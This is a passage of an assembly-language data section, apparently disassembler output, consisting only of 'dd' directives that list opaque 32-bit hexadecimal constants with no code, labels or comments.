		dd 0EC94212Ah, 46B12C47h, 1A011ACh, 315D6430h, 833C916h
		dd 0E8FF0446h, 896B007Ch, 876372D8h, 670270C1h,	1771D63Dh
		dd 603495EAh, 9366CD8Fh, 71B2EB00h, 70D83F76h, 65770437h
		dd 28CB832Ah, 4B8B205Ch, 5401887Bh, 0C91D287Dh,	16101EFAh
		dd 427FAB1Ah, 44C1CA4Ah, 7EE00124h, 413ECA8h, 4BF8A2E5h
		dd 7520BD1Eh, 87104D09h, 0CE0502Dh, 50B5DE93h, 0A7950D30h
		dd 0E2309218h, 51D330Fh, 6F7839B9h, 0DC1C324Eh,	0B0B5CF05h
		dd 3ACDF0ECh, 248BE8D9h, 506096F3h, 206E5D9Bh, 0E6E2059h
		dd 176B86ACh, 839E49EFh, 21003C1Ch, 20E665Eh, 3E34A972h
		dd 0D6B0E2FCh, 0A05F3ED8h, 7EC80A61h, 442A1F88h, 40433A64h
		dd 1D966E13h, 9CCA00B2h, 48E5FAA8h, 9602C4Fh, 0DAA04D38h
		dd 46925BC4h, 0C1E7A1F0h, 0A7AB7700h, 0FAEF42D8h, 0DB02318Ah
		dd 7D247678h, 0D9C300F8h, 676BC4E1h, 0C2290158h, 77F8A07Eh
		dd 88E47808h, 0C4C98672h, 0E630D90Fh, 271AB124h, 0A6800EBh
		dd 9340FEF1h, 3EF2BFCDh, 25DB9A03h, 4A2370h, 0E0786571h
		dd 4379FC95h, 86C4CE2Dh, 216CFCh, 0E7E05082h, 0A8A9A8Fh
		dd 0A288CC1Eh, 70D17A57h, 0E2073762h, 0D900CEFFh, 171E616h
		dd 3FA8A41h, 4269CFA9h,	79309CD4h, 86AB110Eh, 83398873h
		dd 850E715Fh, 867BFEE8h, 0EDC0965Ah, 6141A292h,	45A480BFh
		dd 173C4055h, 0E017ADDAh, 10C3446Dh, 0DF09304Bh, 0E0B57A21h
		dd 0F5C32A03h, 0A09BF088h, 0E01AD414h, 8973288Ah, 159600C8h
		dd 8F804B37h, 0BA0A390Ah, 0E095DB68h, 1D86D69Fh, 76A98876h
		dd 0EA5F825h, 0A4996C7Eh, 35466780h, 0E21CCD95h, 60A5BA4Eh
		dd 18CB89ECh, 3922EDB6h, 21D9937h, 69459E85h, 0C0E19621h
		dd 5CBC402Fh, 0D78E02A2h, 6B4CBF01h, 0D0FFB868h, 24810FECh
		dd 478C9E14h, 8460CABFh, 0AC9060A8h, 7CB5003Ch,	0D7A79D67h
		dd 765200F8h, 0AB96702Eh, 90BE797Dh, 43E43037h,	0D9125D06h
		dd 0F4E79200h, 0BB85E903h, 940200D3h, 0D8439158h, 0A03C70CAh
		dd 1FDB8459h, 44BC5224h, 0A8408C88h, 82312058h,	27338402h
		dd 84044042h, 15E866B5h, 848F9E7Eh, 57922D88h, 0B3F59600h
		dd 0E09EA7A5h, 7E2732BDh, 9530B248h, 9E791102h,	9F398897h
		dd 0D5024060h, 973FECF5h, 9458E602h, 80D1AA92h,	0FE4FDC9Ch
		dd 5C568253h, 4C71B0B2h, 0E0770498h, 6251FC94h,	4F83206Ah
		dd 120004E0h, 0E865BB5Ah, 277E8C81h, 0F440F6F0h, 0E2549D14h
		dd 279F32DCh, 41EE2B28h, 471943ACh, 204703Eh, 670077A4h
		dd 28419944h, 973D3C5Fh, 884D8422h, 15E1D800h, 0C0304C17h
		dd 0F291F10h, 0D44F241Eh, 8C79EC68h, 0DC7EE401h, 0A4D4EF3h
		dd 0C8C05090h, 0E082C072h, 6946FC97h, 88007122h, 0B47DE07Ah
		dd 2F7387h, 0D1CC697h, 0E42ABB02h, 7FC0A49Fh, 0D993FC40h
		dd 0F4EE29A3h, 567BF17Fh, 8A62E900h, 7E4DF924h,	0C8CB4FCFh
		dd 2A414650h, 4324C420h, 413B3A6Bh, 292B2141h, 0C8185F2Fh
		dd 0B9047AECh, 68D0E6F7h, 215099Eh, 0AB3F9D1Ch,	74C0CEFAh
		dd 418A29FBh, 7996DDC4h, 0D2C8A423h, 0E73C6D1Eh, 0F30584C4h
		dd 858128ECh, 306E1197h, 9A4074A0h, 8D0A01B0h, 0E6B6AB6Ah
		dd 31A1811Bh, 17EF4EECh, 2B1AFC4h, 0E5C2AC72h, 20C08A1Fh
		dd 9C98DEDDh, 847BA226h, 0D6F0ED84h, 0A500CCFCh, 2606B6E8h
		dd 0E12CA14h, 0D0B2DBFEh, 882A9850h, 8C72F293h,	0D44B1900h
		dd 7564DD2h, 0E01C45E7h, 6D12FAB7h, 18B295F3h, 0FC03FD3Bh
		dd 9B1B8750h, 6D269005h, 0F4066202h, 1290E5Ch, 3A5421E4h
		dd 0D4A7937Ah, 0C8003EF0h, 6BB3AAEBh, 4CA8A2F9h, 66124CCBh
		dd 8038B54Ah, 0AD9D3610h, 563D86Bh, 18CD250Fh, 0FA984072h
		dd 6250A504h, 0D045A012h, 0C0664008h, 0FC93E076h, 6B224946h
		dd 0E04E840Fh, 6ACEDFh,	9787091Ch, 6B26000Eh, 2CF5BD96h
		dd 5C581B14h, 764780ACh, 41EBB4h, 0B167AF0h, 6EF27F6h
		dd 7CDB2800h, 0C844B391h, 0C03E514Ah, 37A24863h, 0FEA2A938h
		dd 0BB4D02CFh, 0FDA60AB1h, 325B88E0h, 809DE491h, 60DCF321h
		dd 24B23156h, 805CDEFEh, 87B3389h, 0BB020E0Ah, 4C5473FFh
		dd 0F8996037h, 5FCF02F2h, 0F40280EFh, 7B0D9081h, 0F8302E8Ch
		dd 4ED28688h, 446480FCh, 7B0B6D3Ah, 96A365Ah, 1F7CD998h
		dd 0EAD700ACh, 0F93C9E9Fh, 0FFA1B900h, 9551B171h, 0EC8800A7h
		dd 7D4FB5ACh, 14735246h, 7EAD940Bh, 6B208096h, 9D95BAEh
		dd 64C8B288h, 317D821h,	5EED023Bh, 629FE4h, 8B8A8981h
		dd 9800A834h, 0B067E3A1h, 21A6C48h, 8653F67Bh, 0FCC08F0Ch
		dd 9F024E08h, 0E1F57D0Bh, 4700428Ch, 6077446Ch,	0B095ED55h
		dd 0DA7C394Ch, 971CC05Ah, 24052522h, 4E45A5E6h,	8AC58D8h
		dd 0C14478E0h, 8B46D3C4h, 0B70056B4h, 767F9C68h, 66B1CC5h
		dd 7A9244ABh, 1E0960DAh, 0D8428047h, 207C9034h,	0CB0E6A74h
		dd 90F88A7Eh, 4C10F44Ch, 17FA3E0Bh, 1827E54Eh, 5C0527D4h
		dd 0B4D8508Dh, 9E4010h,	65D6024Ah, 555B49Ch, 7794CA71h
		dd 9524C26Fh, 3A446CE7h, 75FDCD60h, 80AB393Ah, 526E2CB5h
		dd 13DF034Bh, 0E2E0D3C5h, 0C1B400C0h, 0FEB9F06Ch, 0D6F65001h
		dd 53443B1Fh, 2411DB8Eh, 16D091D2h, 8860C8D5h, 0C5D02660h
		dd 4893941Bh, 0A482445Dh, 0E640CC8Ah, 0B00AC35h, 22FA3BD2h
		dd 0EAD483C8h, 0D9DE28BAh, 4678048Ch, 0D23C32F0h, 0D85E4FACh
		dd 24009210h, 260784D3h, 0FEF1A416h, 0E0ABECB0h, 0B9447711h
		dd 8C80D488h, 0C763E0B3h, 12240B79h, 0BC793C54h, 433DE1AFh
		dd 7E7892h, 0A84E3488h,	0F0A0B219h, 6CB14810h, 40F09895h
		dd 0FA8CB7C4h, 9E841102h, 802F883Fh, 5102A15Dh,	91305205h
		dd 672C682Dh, 245C14h, 16C3D980h, 9E010172h, 1CC1D1BBh
		dd 14E47591h, 0B899058Eh, 0C17BFBCEh, 22E462F0h, 12DC1128h
		dd 4816D110h, 1A0238Ch,	86AF0E75h, 883D1893h, 0E016D4Bh
		dd 253FCB59h, 94EC8832h, 0C5F8C144h, 412F9AF0h,	499CCC90h
		dd 4046288h, 3E6EF87Dh,	77940813h, 0CF0180B9h, 0D7B39BA5h
		dd 7B4B2EDCh, 0A4D13937h, 0A800407Ah, 677DAB14h, 68C2CA2Dh
		dd 95AD8FCh, 0A73ED1D3h, 224A0C02h, 808E8504h, 84C03888h
		dd 21EEE52h, 0D88E82CAh, 244D2267h, 5571CBE0h, 142F00BCh
		dd 48F088E7h, 650151C8h, 0D22647E6h, 80407EECh,	1285A58Ah
		dd 0A49A6Dh, 0D0FAB1E4h, 0E047B26h, 8C87DAA7h, 0FCACEC80h
		dd 0C2430221h, 89638AFFh, 0B346605Ah, 78029402h, 32319F9Eh
		dd 29D6110h, 14A1E42Eh,	38A19834h, 32BC0028h, 4A64028Ch
		dd 0E3DC7E9Ah, 241008DCh, 60141379h, 58C08030h,	0C20AA92h
		dd 0D628C4CBh, 0D708003Dh, 2492743Fh, 0A4089FA2h, 0A8CE0282h
		dd 0FC50D350h, 0DC075A0Ah, 4E13084Fh, 9F5C0CE0h, 72D5CA0h
		dd 0B1009714h, 0F6ECEE44h, 905978B4h, 95742050h, 0B42F944Eh
		dd 7A0E8C77h, 0D4244FA4h, 0C7C5041Ch, 4CC196CFh, 723ED352h
		dd 0AC71C0B8h, 0EB184279h, 0DC899D00h, 8BD01A2Bh, 2C16E221h
		dd 83249457h, 262DC5DDh, 1852E69Ah, 3587B1Fh, 42E46A80h
		dd 3274A7Fh, 0EE539EDDh, 0EF99857Dh, 44E9E0A7h,	0CD244809h
		dd 0C9D8224Ch, 145081FBh, 0BC6621CCh, 64242Fh, 0AE92FC08h
		dd 12C4267Eh, 8FD40FA7h
		dd 0E6FA8A82h, 2DC44447h, 0AF9A8860h, 488B072Fh, 62FD6254h
		dd 0B690B050h, 99A376E0h, 29B86512h, 636488h, 3B0C779Dh
		dd 27EDAF3Eh, 509BF901h, 8C7C8BB1h, 7F96C4h, 233E8269h
		dd 94AA86A5h, 0A450925Ch, 0C0A1D408h, 86A60E74h, 3A229B46h
		dd 0E6C4C05h, 58ECB933h, 58E21280h, 9A005FA5h, 4423B332h
		dd 265DDDCFh, 2B96762h,	0E9A2E8C8h, 0DCA1FC43h,	34898B9Eh
		dd 0D07AEDh, 483E4F67h,	62CDAD2Bh, 0A47FF600h, 0A2C69060h
		dd 0CEFE74A6h, 64404C71h, 3C0F29DFh, 820102F0h,	0C8447B1Bh
		dd 0B03425BEh, 2D2FDB2h, 84403345h, 0B080777Ch,	22F70901h
		dd 0D02E9857h, 0C921DEA3h, 0F9A5138Bh, 0F8CDC130h, 0E600472Eh
		dd 5CB9CC82h, 8B44EC08h, 0F0F024DAh, 465E009Ch,	0EA150032h
		dd 7CBCDBF6h, 44249081h, 0D5009731h, 432361DDh,	74C1Ah
		dd 24EB17C2h, 182712D4h, 29DD7D18h, 80068490h, 961278AAh
		dd 1852C511h, 77C8488Bh, 0F1F97C0h, 6BF8289Eh, 0C2D006CDh
		dd 0E8F1D4E2h, 0C8C9170Eh, 3E489040h, 323C444Bh, 6AE4047h
		dd 729E3559h, 2058188Bh, 0C0E6A10Dh, 96008CB2h,	7138ED26h
		dd 0DC63C2D8h, 0C8F5158h, 0C0ABEF87h, 7D048C67h, 61FC92E0h
		dd 85C0E8E2h, 42CDE055h, 0FBF41900h, 2EEAA7B8h,	0ACB1000Bh
		dd 0E89EAEB0h, 6C02A86Fh, 0AF8468Dh, 3388491Dh,	8C507860h
		dd 1283AA4Ch, 888BB144h, 0E0B28D00h, 295DD4AEh,	3CCB3A2Eh
		dd 442404C9h, 127E4C43h, 0E069FDCAh, 0C86C4ADAh, 303AC76Ch
		dd 0F039FA6Eh, 12E68805h, 0B8B71E47h, 4219EE0Bh, 0F0599C00h
		dd 2C062939h, 44F36B10h, 483DE708h, 4BF7710h, 0AA8A7ECFh
		dd 0C1ACCA4h, 0C9C0DB02h, 0D112D0C8h, 0C488820Ch, 0DC964164h
		dd 16608AF0h, 3255A550h, 1EA13576h, 2EE08289h, 124088DCh
		dd 500ACF4Bh, 8A4DF4E1h, 9F6488C0h, 0C49080h, 0E68B9BEFh
		dd 0C8CA5E7Eh, 2D8D55Dh, 5BF30DA5h, 60042957h, 0E78609Dh
		dd 7B8623B2h, 60073B11h, 0B7440E70h, 0C13174F6h, 4377788Ch
		dd 1FF46264h, 205CD20Bh, 0C2FA9A14h, 9CC5E2Eh, 0C49B938Ch
		dd 0C0B30989h, 0C4F666ADh, 56C5E800h, 0E30C957h, 0CDB712BCh
		dd 289C048Ah, 0D0F227E5h, 85D70015h, 775C02A1h,	71012A8h
		dd 406BB082h, 0B3495F8Ch, 0E6B905ACh, 65A44028h, 0F8B7D1EBh
		dd 1C8DB300h, 3AA4A390h, 0C3545A58h, 10D85DBCh,	0F8194482h
		dd 24584512h, 0C9825C3Ch, 1137050Eh, 2E038071h,	7D782D5h
		dd 16FE2335h, 0F57B8046h, 8702FBD4h, 26E617CBh,	0B0885A43h
		dd 141670F0h, 3C48287Bh, 58C79BCh, 26C301FBh, 0A8AC12EBh
		dd 0C205DE1Ch, 0D889E912h, 816C6091h, 0FC99E084h, 107631CAh
		dd 0E07C86h, 22D74238h,	0BE8B06ABh, 5A50D06Bh, 0FAD8018Ch
		dd 3A39F509h, 2375DC5Fh, 0AD9D50A0h, 54859A00h,	0EC212DEh
		dd 7D6103F4h, 452F433Ah, 7BA7A4D8h, 0F80030BFh,	0AB2C40CFh
		dd 0E6FF6D00h, 4671C007h, 1784F35h, 74F3BD38h, 0B95C2DB0h
		dd 24A7A8C8h, 17238547h, 0A49CF020h, 11784E48h,	7E149CF0h
		dd 1B07749Fh, 59A31046h, 8296C44h, 6D11DC2Eh, 98E08380h
		dd 609971FCh, 0E07B87C0h, 65E80388h, 4089BF6Eh,	484838DAh
		dd 0E40B7EABh, 0D25D9BF2h, 65E30068h, 0FDE05C9Ch, 772F2C46h
		dd 9FDCA49Eh, 0B00E7A60h, 0C08B8621h, 250E724Ah, 0FCBE7B00h
		dd 997EF16Fh, 0F0A51ECAh, 30DA4BE1h, 0A80D1CD8h, 0E0458850h
		dd 4046FC60h, 0FA0928CCh, 543AA175h, 407DEF28h,	81DC4072h
		dd 0A8580EDDh, 0CDEE1000h, 0AB17703h, 0FAA05F08h, 120480FDh
		dd 0E52F5AC8h, 0F43CDCCDh, 0A2E3C301h, 6C0D8FF8h, 827B88E8h
		dd 27A6C843h, 84ADE448h, 0D0287A41h, 38CD3BCh, 39850D6Ah
		dd 0E08FC574h, 0BB104E7Fh, 25602163h, 0A59CC324h, 6C8820CFh
		dd 2B2A92C0h, 0AF77317Ah, 6830B0h, 13A115FDh, 0C843B0DAh
		dd 0ACA83E18h, 42E4F1Eh, 8C42383Dh, 103B19E5h, 1D32F09Eh
		dd 0EF3980BDh, 687A3413h, 18B07B40h, 0D818750Bh, 4A862E57h
		dd 7080A785h, 0F454C900h, 528D7136h, 0C8CBE9D3h, 12558B2Ch
		dd 0B0968AC4h, 7A5020C8h, 3C41FC54h, 7F8E2088h,	8E4724C3h
		dd 61209869h, 509E21E6h, 6C002A5Ch, 58A82E7Eh, 38124834h
		dd 0FCF1E84h, 82DA3FAAh, 79FC7918h, 173186Ah, 58416904h
		dd 2EF1FDDEh, 0E29E2088h, 0D9EC002Eh, 0F4C4F360h, 0F20009A6h
		dd 44D11EFCh, 0F7BDF9Ah, 0DB272B4Ch, 0A2218404h, 686200C0h
		dd 3A0C711Dh, 0F98C0047h, 7B24BBDEh, 0D8716BB4h, 0C0C877F8h
		dd 0DFC4805Eh, 0EE90C19h, 7ECC9E09h, 12309188h,	69F03DCh
		dd 2EC7DC09h, 0A8947192h, 12C465Eh, 0DDAD59F6h,	7C39B286h
		dd 284CC938h, 0A066068Eh, 4D091893h, 191EF310h,	87149A0Ch
		dd 12D22408h, 75C7804h,	0F76233Eh, 49C05210h, 70A25A4Bh
		dd 0AF686B09h, 374C0764h, 48A4C41Bh, 52C41891h,	7CFE04DCh
		dd 1F4400CDh, 0D2880080h, 11AE40E0h, 45183491h,	85B0C818h
		dd 0C8AAD40Dh, 3FA00F2h, 0C1FF57Ch, 4009A854h, 4CB8112Fh
		dd 318A13CAh, 1465D4A9h, 0BC603BE4h, 442F1F85h,	7AF09058h
		dd 181F057h, 378DA5DCh,	0CC0F8487h, 6D66E8B2h, 208895B8h
		dd 1648F0BCh, 154E78FCh, 0A743D45Dh, 8246F488h,	628D035h
		dd 53F8A91Ah, 713C832h,	8C08171Fh, 0E0AEC07Ch, 0D1464476h
		dd 9100D522h, 52F5E0B6h, 0F8F6DFFh, 974AEC03h, 4054FCC9h
		dd 4607361Fh, 2607F02Fh, 0B08FA5Bh, 94AED7A7h, 6A89BCA0h
		dd 0F8EA3B7Fh, 6780C8B4h, 0CAF7BA14h, 12F0B93Dh, 90E21805h
		dd 214C2310h, 66408560h, 888614A4h, 2A95AA88h, 1A1B04ACh
		dd 384C31h, 8CD5E8h, 0C2D1940Dh, 0E2959AC1h, 582EDA00h
		dd 0F87C780Ah, 0D48095D6h, 1D9CE8D8h, 92A0393Dh, 44E041D3h
		dd 0F1A23614h, 7A468051h, 74E0B002h, 0D433E144h, 60B88F47h
		dd 14A94F66h, 19CD9C37h, 0D78826F0h, 5CC096A5h,	276718F5h
		dd 9C107705h, 0D22E533Dh, 0A30F1339h, 9A1F606Bh, 2C73F2h
		dd 22B1DF6Eh, 0DCFEB258h, 61E949C0h, 5E27A9h, 793284A0h
		dd 90D6082Ch, 98FBF20Bh, 0B474C052h, 6D88843h, 3BFA8CA3h
		dd 39714500h, 0C8B2648Ah, 38D88246h, 4C20F8DAh,	6D20EF72h
		dd 189B9DD4h, 77445811h, 673DD902h, 3CC6FA9Eh, 2BC4FDA1h
		dd 83C29090h, 509F4CF7h, 7DB21E0Fh, 0EF745568h,	501D3918h
		dd 968098F6h, 0FA792864h, 48A809E5h, 0C9C3C88h,	4268C83Ah
		dd 8F749A4Eh, 193FA1B4h, 843D9276h, 0C4C8FF15h,	718F8402h
		dd 9040E854h, 24029D15h, 0FB941060h, 2DAFC1FDh,	9FD89841h
		dd 41222073h, 0D75DD902h, 0F99D6048h, 0DAA600B0h, 372CC7F5h
		dd 0EF00D97Ah, 0FEEB0DACh, 0FAC4851Ah, 60D0F5A0h, 84964C79h
		dd 493933B3h, 430C9688h, 192A2032h, 877E1172h, 52C56C47h
		dd 605D0888h, 4FE4906h,	7B02293Fh, 940E6D62h, 15AC5679h
		dd 8E22282Fh, 0B4F8C40Fh, 0A0AC32D6h, 0CE085F10h, 2F4E90EFh
		dd 1D6235Ch, 13D20E5Fh,	0F675DCFDh, 2244AB57h, 4430A78Ah
		dd 75066070h, 810E0171h, 4ABD8F9h, 0CA1BF4E8h, 0C037C65Bh
		dd 44E2222Fh, 0A4BC9BEAh, 0A4A22641h, 500C0976h, 5D8A9Eh
		dd 0E1020A0Ch, 43FCBA80h, 0B7A222Dh, 0C57CE2FCh, 3EF4F010h
		dd 0E6D8B380h, 635C02F8h, 68054678h, 0AE5864F3h, 0FBB1009Bh
		dd 4E85F1ACh, 0A04F573Dh, 0D52148DFh, 8E8B0204h, 0CC1018A2h
		dd 0FBFC5031h, 4048FA46h, 0A2212FA2h, 18629934h, 4539610h
		dd 1138BA92h, 23C970FCh
		dd 1870C7Eh, 21A0A25Eh,	0EF0C170h, 7BFF830Bh, 4975D8C0h
		dd 45FE06FAh, 44203A4Fh, 1F6E03CDh, 0CA63B910h,	449CF9A6h
		dd 0E6F608Ah, 638625ADh, 6500D096h, 69FE0E67h, 395B6119h
		dd 0CB9F7E43h, 0E974DD86h, 6131E6FCh, 465EF096h, 0C8950077h
		dd 0B4572B23h, 90749935h, 8045BDFh, 0D449173Bh,	0DA385022h
		dd 50A64CE6h, 0A141D4F6h, 58F5C5FDh, 9650E6EEh,	37465E58h
		dd 1FFB9B00h, 90835632h, 9EA7A100h, 77F47F11h, 0CC7815h
		dd 0DD1A53D8h, 75B46879h, 17287CBEh, 0B7CA0E2Fh, 26902F8h
		dd 0AC78A6BBh, 0DA4E897Ch, 0E1C7689Ah, 3EBD0AEh, 5009E3B0h
		dd 0F23497F7h, 97E271BCh, 0F602F4E4h, 0C29CAC77h, 2E9C70F2h
		dd 349BF8AAh, 23F03A30h, 3502006Ch, 0EE8FA6A7h,	0D7648807h
		dd 1DF0D0C4h, 1B893724h, 0A4C2FACCh, 0ABA67002h, 0D920947Eh
		dd 5F4F1E5Ch, 122C2667h, 0B0E4B49Eh, 80C7FA1Fh,	0DAE3A703h
		dd 0C1D7A00Dh, 7EA40735h, 0AAFBCAA6h, 0A84F82E4h, 0F0589C58h
		dd 0B288AB04h, 43BA7380h, 0E95D9638h, 24DA06A8h, 8C53A25Fh
		dd 38C8F08Bh, 6FFCA2C0h, 0D8E900CBh, 5502229Bh,	0C44BC937h
		dd 20670441h, 11837423h, 0C1A1BB43h, 0A496DBD8h, 0D122A600h
		dd 7A05D9C4h, 0AFF113D2h, 2AF0B04Fh, 9FC4500h, 142E3A43h
		dd 7B4C98AAh, 0C5D0004Bh, 0F846B8F3h, 4B971DBEh, 8E1010A0h
		dd 0DA920937h, 0B9F858F0h, 19D67918h, 0EE54D4h,	0E5CF31DFh
		dd 48019A04h, 0D0B3ECA9h, 0DB0096F4h, 3219971Eh, 5EC79E55h
		dd 23102F69h, 0CD27003Ch, 8AFFB5BEh, 0B8918E26h, 38489E07h
		dd 0D56022E9h, 0A0887208h, 4DAE9Fh, 0CFEE7096h,	0A8946C4Fh
		dd 55658A01h, 77B22A97h, 14007073h, 0EC7C2367h,	0E4007AB9h
		dd 0C5AC20BBh, 9D8B7EDFh, 0F57D3021h, 0A57AFC0Ah, 0A020425Eh
		dd 203F13h, 0A743076Eh,	84723BB8h, 92075874h, 5B42974Bh
		dd 0E1E688C2h, 0D91011CCh, 39019F52h, 39E3DC8h,	0F1F444C1h
		dd 0D1B0009Ah, 2BED01BCh, 48B6E64Eh, 3ED04680h,	0BA0B3BDh
		dd 5C77FDFEh, 0A2E94487h, 4C3CECh, 0D5F85851h, 0CE542C4Eh
		dd 37BA04C3h, 0F681E323h, 5010A62Ch, 0F0F81420h, 5D40F222h
		dd 66BC6416h, 0A1E3CCEDh, 0A6AF7001h, 1EDABFDEh, 23C82F2Ah
		dd 91790038h, 3C9B33EAh, 0E68E1508h, 8C658029h,	0D64CCBA4h
		dd 14B66300h, 0FF2F9A2Eh, 0B991C3CFh, 9BA124E5h, 20213FFAh
		dd 25E0B26Eh, 26460277h, 5D956785h, 0D180E05Ch,	0CCBE1994h
		dd 0B9D51CB1h, 362D81F1h, 2AAC7683h, 44B40853h,	0F8808337h
		dd 0C4986F77h, 0C34DDE90h, 0CA50159Ch, 0E8004CCCh, 6F018C76h
		dd 46AB1384h, 44F272F0h, 2EA54EE8h, 0E22334h, 0B563A37h
		dd 3024B8Ah, 0F048A91Bh, 2EB8C45Ah, 62F8E834h, 440A161Bh
		dd 0FB674460h, 57EC00DDh, 0F8A2E880h, 449C0743h, 0B0401744h
		dd 1D62C8C4h, 0AA4992E0h, 0EC8B4BDCh, 3FC433C8h, 7271C080h
		dd 2FCE5B89h, 1D8C7B80h, 1DA71B35h, 16674045h, 1496363Ah
		dd 105C1C2Ch, 0FDD40740h, 7DCA0972h, 74DEB434h,	0FFCF1040h
		dd 0A5180194h, 0CC881944h, 186B2BDBh, 40867401h, 70DB14CBh
		dd 73407854h, 0CE23014Bh, 249333F4h, 0BCBC38F1h, 9F078CD5h
		dd 0E5A46864h, 403D02D2h, 3ED2B50h, 1795A830h, 3100C709h
		dd 0CE443C1Ah, 0E6505D31h, 5C6C0496h, 0CE65A5F5h, 0C03888D4h
		dd 7FF6ED73h, 51C65609h, 4040DCC3h, 5B2BCFFAh, 33605D00h
		dd 0E612DA70h, 0EA0E742Eh, 0B1D500B3h, 4924DBA8h, 1E5CAC5Fh
		dd 4FD4A74Ch, 0F78558A8h, 0C200C8CDh, 0A38A7527h, 0D2FF34h
		dd 2FF00619h, 48B80229h, 7971D800h, 7A955BDFh, 17265EE5h
		dd 23583B3Ch, 93E4006Bh, 5E6D59BEh, 0F8A0310Eh,	4889323h
		dd 0F0B98BDCh, 0F8422A46h, 0A7658ADh, 0F6C70090h, 4E8B01BFh
		dd 469AE522h, 29302B4h,	5E879E77h, 9B565858h, 768A0202h
		dd 0D87AF8EEh, 15CB0048h, 0FF360BBAh, 7D71E1D4h, 0CCD3F60Fh
		dd 1D2CE27Bh, 0A39490FEh, 0F53B0011h, 0A923D92Ah, 689C9060h
		dd 0E11BAB00h, 5CA17ECEh, 26C3C450h, 11144AE6h,	83CC4E24h
		dd 81AAF5FBh, 40AC2B7Fh, 5E12454h, 4595CBC4h, 244C2488h
		dd 2DF8E8B4h, 7C8C9012h, 0B20802CDh, 2C60A883h,	7E06B078h
		dd 4D4EF0E4h, 7392071h,	4C9986F8h, 0CB159600h, 7B95D909h
		dd 0C92109C2h, 60A047C8h, 0F9C107D7h, 4C8545Bh,	84B3E44h
		dd 0D5C9CA8Bh, 0E4A56860h, 41DF6079h, 60B1911h,	285834AAh
		dd 20644D71h, 0C4E3B188h, 0BF306DE2h, 6A3F167Ch, 8218ACF5h
		dd 0F020AA86h, 10470688h, 0C096A906h, 0C6ECEE02h, 5632145Fh
		dd 3605DCA0h, 0A2823A40h, 96F5BC05h, 99EB4F8h, 405830B2h
		dd 511C2350h, 0AC462C02h, 0C0696782h, 1DD21A1Fh, 0D534E9AFh
		dd 9B4A5048h, 99BF8000h, 1606D1Fh, 5D0A2D93h, 0D0BAE787h
		dd 2BB7DA86h, 62540218h, 205C523Bh, 0A0A388F7h,	5C98BCB3h
		dd 8CBC1FD9h, 364676h, 2ACAAFB5h, 7018FB40h, 24022D44h
		dd 0BF461C48h, 3A10CF81h, 0CD30CA3Fh, 0C5C911D0h, 1451C509h
		dd 94D0A8A5h, 184720C8h, 18C310E6h, 0FA12B16Ch,	68097803h
		dd 356C841Fh, 0BCF10B40h, 8877D338h, 7842C032h,	6F372F02h
		dd 1E970020h, 5C65FC1h,	0A4A33015h, 0F30AA151h,	9B04FC71h
		dd 43B3A078h, 754D5CC2h, 0F867D48Eh, 0FDC0ADFEh, 104340Fh
		dd 2445B90Bh, 91E49788h, 0AFE5833Bh, 418EB89Ah,	0E7F10436h
		dd 0ACC858AAh, 0D8E04FB0h, 4606171Eh, 408CA379h, 0FC3C2BFCh
		dd 0C87B0B78h, 24F4402Eh, 0C4B139FFh, 160770F7h, 0B491D1E2h
		dd 9446430h, 9DE492A9h,	0FB02B0B7h, 6120A913h, 2C30230Ch
		dd 9821D85Ch, 0D4A2BD83h, 0E27970F1h, 83B3A18h,	0EDDE0F81h
		dd 2227C9F8h, 7CC7218h,	33FBB29Eh, 0C71DD0E9h, 85768022h
		dd 6042C468h, 9C9193h, 0B044EA3Dh, 9E8E18DBh, 29744815h
		dd 1CB71098h, 1E8C38F8h, 80E82CE7h, 239A2B52h, 0EA4F92FCh
		dd 3401CCC5h, 73A21446h, 0A129423h, 8BF02126h, 88A84FBBh
		dd 4784C0D4h, 1E049D76h, 0C6E65897h, 0EFD8F8D0h, 3B52261Fh
		dd 0E10C17E0h, 0E1006750h, 88704E3Eh, 8C832D99h, 3AFC0C0h
		dd 1F5F8C98h, 0E688E480h, 0D0FB5FCAh, 4C7D8598h, 74283F38h
		dd 95943400h, 0FE7E9D8Eh, 2789293h, 0E943324Bh,	0BC418AEAh
		dd 68ABFFC5h, 5024C912h, 0D21064E3h, 0F8AA04D7h, 3A12498Ch
		dd 712314h, 0EBE415C1h,	4D0FDD79h, 385C4C6Dh, 5AB228B9h
		dd 0ECFC13F8h, 0F29780F4h, 9D65022h, 7447467Ch,	0C004850h
		dd 6A2C0AEBh, 2513A86Bh, 288464CAh, 306E5705h, 124F0900h
		dd 6BFC6ED2h, 0FCC8314Eh, 1CE835h, 4FFAAC94h, 4283DE53h
		dd 0B0244300h, 47A82C5Ah, 7698A0C9h, 4E680EAh, 398379Dh
		dd 0BDA5F224h, 99B8094h, 2A71FFFCh, 9CB6914Ah, 74FACAE0h
		dd 0ACC8090Bh, 4CEC90E6h, 0BEB90117h, 8C99EA63h, 73CDCCF1h
		dd 822B3F3Bh, 154D95FCh, 83EC7CE7h, 0AC2218EBh,	0E62E83E8h
		dd 0D4995F7Ch, 9780B811h, 0A79E8302h, 0BC16BDh,	0BC02A062h
		dd 0CE3E80A8h, 0B9C1AD00h, 0F0465D05h, 6C2348DEh, 648424h
		dd 440E8633h, 0ACB63210h, 250EE024h, 0B8F3F2EEh, 0A929404h
		dd 48AA07C7h, 0C40E1314h, 4597CB40h, 0E3E01461h, 0AC8B19D2h
		dd 0D1C078C8h, 27D286A4h, 20E874CCh, 9280326Eh,	14EA1FA2h
		dd 58A1633h, 4A00514h, 747B48h,	4D37DA0Dh, 0E42800B9h
		dd 0DDD5467Ah, 9A03BC91h, 0BE18480Fh, 92E80685h, 68DEEDAAh
		dd 0F03EE501h, 0DD3C7EC1h
		dd 0D164D72Fh, 2D4BD8FAh, 5471890Ch, 24C20820h,	7FD28802h
		dd 2540DABFh, 4460C634h, 4DF048E6h, 11CF6375h, 2EB60412h
		dd 88C154ECh, 8E4498C2h, 0B8E318F1h, 0E9E0CA59h, 0D9057D01h
		dd 42183429h, 9428D841h, 48E01A8Eh, 0E629F73Fh,	2FF67B0Bh
		dd 1050818Ch, 0F0783A47h, 8854AC96h, 0C5F8800Ch, 0D70B1D66h
		dd 26FC1CB8h, 0A80594BEh, 50ADCA14h, 0AC168DC4h, 8C11EC54h
		dd 0A5E0DE7Ch, 39FEC016h, 2291C48h, 7BCCDAA0h, 704768FCh
		dd 391C4288h, 0DAE2C203h, 177079C3h, 0E23CB365h, 3D77303Bh
		dd 8DA46195h, 94088021h, 0C4D0A878h, 0E13501E7h, 3197596Ch
		dd 38442685h, 0C8063943h, 31F5A004h, 32E12408h,	74F92740h
		dd 0FEDEB203h, 0D99FD84Bh, 82F60F85h, 3D233B1Fh, 2FE0B81Dh
